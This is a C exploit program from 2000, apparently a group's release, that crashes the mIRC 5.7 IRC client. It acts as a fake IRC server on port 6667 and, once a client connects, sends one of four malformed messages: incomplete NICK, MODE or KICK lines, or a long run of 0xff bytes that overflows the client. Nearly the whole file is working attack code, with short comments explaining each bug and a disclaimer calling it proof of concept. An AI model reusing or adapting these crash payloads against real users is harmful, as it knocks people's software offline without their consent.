/*
diemirc.c - mIRC 5.7 denial of service exploits.
(c) Chopsui-cide/MmM '00
The Mad Midget Mafia - http://midgets.box.sk/

Disclaimer: this program is proof of concept code, and
is not intended to be used maliciously. By using this
code, you take all responsibility for any damage incurred
by the use of it.

This program listens on port 6667 for incoming connections,
then crashes mIRC using the exploit you choose.
*/

#include <winsock.h>
#include <stdio.h>

#define LISTEN_PORT 6667
#define TARGET_NICK "Chopsui-cide"

void listen_sock(int sock, int port);
void die(char *message);
int poll_for_connect(int listensock);
int select_sploit();

void exploit1(int s);
void exploit2(int s);
void exploit3(int s);
void exploit4(int s);

main()
{
	int ls;
	int c;
	WSADATA wsaData;
	WORD wVersionRequested;
	wVersionRequested = MAKEWORD(1, 1);
	if (WSAStartup(wVersionRequested, &wsaData) < 0) die("Unable to initialise Winsock.");
	if ((ls = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) die("Unable to create socket.");
	c = select_sploit();
	listen_sock(ls, LISTEN_PORT);
	printf("Waiting for connection on port %d...\n", LISTEN_PORT);
	ls = poll_for_connect(ls);
	switch (c)
	{
		case 0 :
			exploit1(ls);
		break;
		case 1 :
			exploit2(ls);
		break;
		case 2 :
			exploit3(ls);
		break;
		case 3 :
			exploit4(ls);
	}
	closesocket(ls);
	return 0;
}

void listen_sock(int sock, int port)
{
	struct sockaddr_in addr;
	int c = 0;

	memset((char *)&addr,'0', sizeof(addr));

	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = INADDR_ANY;
	addr.sin_port = htons(port);

	if (bind(sock, &addr, sizeof(addr)) == -1) die("Error binding socket.");
	if (listen(sock, 20) == -1) die("Error listening.");
}

void die(char *message)
{
	printf("Fatal error: %s\n", message);
	exit(1);
}

int poll_for_connect(int listensock)
{
	struct sockaddr_in peer;
	int sendsock;
	int szpeer = sizeof(peer);
	do
	{
		sendsock = accept(listensock, (struct sockaddr *) &peer, &szpeer);
	} while(sendsock == -1);
	printf("Connection from [%s].\n", inet_ntoa(peer.sin_addr));
	return sendsock;
}

#define last_select 3
int select_sploit()
{
	char k;
	printf("Select exploit:\n0 - incomplete nick change.\n");
	printf("1 - msg with loads of parameters.\n2 - incomplete mode change.\n");
	printf("3 - incomplete kick.\n");
	k = getch();
	if (atoi((char *)&k) > last_select)
	{
		printf("Invalid selection.\n");
		exit(1);
	}
	if (((int)k < 0x30) || ((int)k > 0x39))
	{
		printf("Invalid selection.\n");
		exit(1);
	}
	return atoi((char *)&k);
}

/*
Exploit 1: incomplete nick change
mIRC 5.7 and past versions seem to suffer from bugs
involving incomplete messages. I previously e-mailed
Khaled M. Bey about one such bug, and it's fixed in
this version, but there are other similiar (almost
identical) bugs still in v5.7.
This attack is executed from the _server_ side.
All we need to do is send the client a half complete
nick change message, ie
":<targetnick>!ident@host.com NICK"
We must put the target's current nick name where
<targetnick> is.
*/
#define END "!ident@host.com NICK\x0a"
void exploit1(int s)
{
	char sod[256];
	memset((char *)&sod, '\0', 256);
	sod[0] = ':';
	strcat(sod, TARGET_NICK);
	strcat(sod, END);
	send(s, sod, 256, 0);
	Sleep(1000); // Make sure the packet gets there.
}

/*
Exploit 2: server message overflow
If the client sends a large message with to many
parameters, it crashes, and part of the buffer is
stuffed into EAX.
*/
#define MSG_LEN 1000 // This must be an even number.
void exploit2(int s)
{
	char sod[MSG_LEN];
	int c = 0;
	do
	{
		sod[c] = 0xff;
		sod[c + 1] = ' ';
		c += 2;
	} while(c < MSG_LEN);
	send(s, sod, MSG_LEN, 0);
	Sleep(1000); // Make sure the packet gets there.
}

/*
Exploit 3: incomplete mode change
This is basically the same as the nick change
exploit.
*/
#define END "!ident@host.com MODE\x0a"
void exploit3(int s)
{
	char sod[256];
	memset((char *)&sod, '\0', 256);
	sod[0] = ':';
	strcat(sod, TARGET_NICK);
	strcat(sod, END);
	send(s, sod, 256, 0);
	Sleep(1000); // Make sure the packet gets there.
}

/*
Exploit 4: incomplete kick
Another incomplete message bug.
*/
#define JOIN " JOIN #\x0a"
#define KICK ": KICK #\x0a"
void exploit4(int s)
{
	char sod[256];
	memset((char *)&sod, '\0', 256);
	sod[0] = ':';
	strcat(sod, TARGET_NICK);
	strcat(sod, JOIN);
	printf("%s%s", sod, KICK);
	send(s, sod, strlen(sod), 0);
	send(s, KICK, strlen(KICK), 0);
	Sleep(1000); // Make sure the packet gets there.
}

